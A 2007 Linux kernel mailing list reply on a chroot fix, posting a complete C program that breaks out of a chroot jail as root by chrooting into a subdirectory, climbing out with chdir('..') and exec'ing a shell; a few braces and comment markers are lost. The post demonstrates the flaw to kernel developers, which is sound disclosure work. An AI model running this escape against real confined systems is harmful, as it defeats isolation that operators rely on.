Re: sys_chroot+sys_fchdir Fix

From: Nick Craig-Wood
Date: Wed Sep 26 2007 - 06:03:35 EST

Al Viro <viro@xxxxxxxxxxxxxxxx> wrote:
> If you are within chroot jail and capable of chroot(), you can chdir to
> its root, then chroot() to subdirectory and you've got cwd outside of
> your new root. After that you can chdir all way out to original
> root.

Here is some code I wrote a while back to demonstrate that escape

* Break a chroot
* Compile this with
* gcc -static -Wall break-chroot.c -o break-chroot
* Get a root shell in the chrooted environment and run
* ./break-chroot
* Nick Craig-Wood <nick@xxxxxxxxxxxxxx>

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <error.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>

#define SHELL "bin/sh" /* no leading / */

int main(void)
struct stat buf;
if (chdir("/"))
perror("chdir /"), exit(1);

printf("Making escape tunnel\n");
mkdir("/tmp", 01777);
mkdir("/tmp/escape-tunnel", 0755);

printf("Doing escape chroot leaving cwd behind\n");
if (chroot("/tmp/escape-tunnel"))
perror("chroot /tmp/escape-tunnel"), exit(1);

printf("Exploit cwd being above the root and find a " SHELL " to run\n");
do {
printf("Going up...\n");
if (chdir("../"))
perror("chdir ../"), exit(1);
} while (stat(SHELL, &buf) != 0);

printf("Chrooting back into the root directory\n");
if (chroot("."))
perror("chroot ."), exit(1);

printf("If this doesn't error you are out of chroot!\n");
if (execl(SHELL, SHELL, 0))
perror("exec " SHELL), exit(1);

printf("Something wicked happened!\n");
return 1;

Nick Craig-Wood <nick@xxxxxxxxxxxxxx> --
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@xxxxxxxxxxxxxxx
More majordomo info at
Please read the FAQ at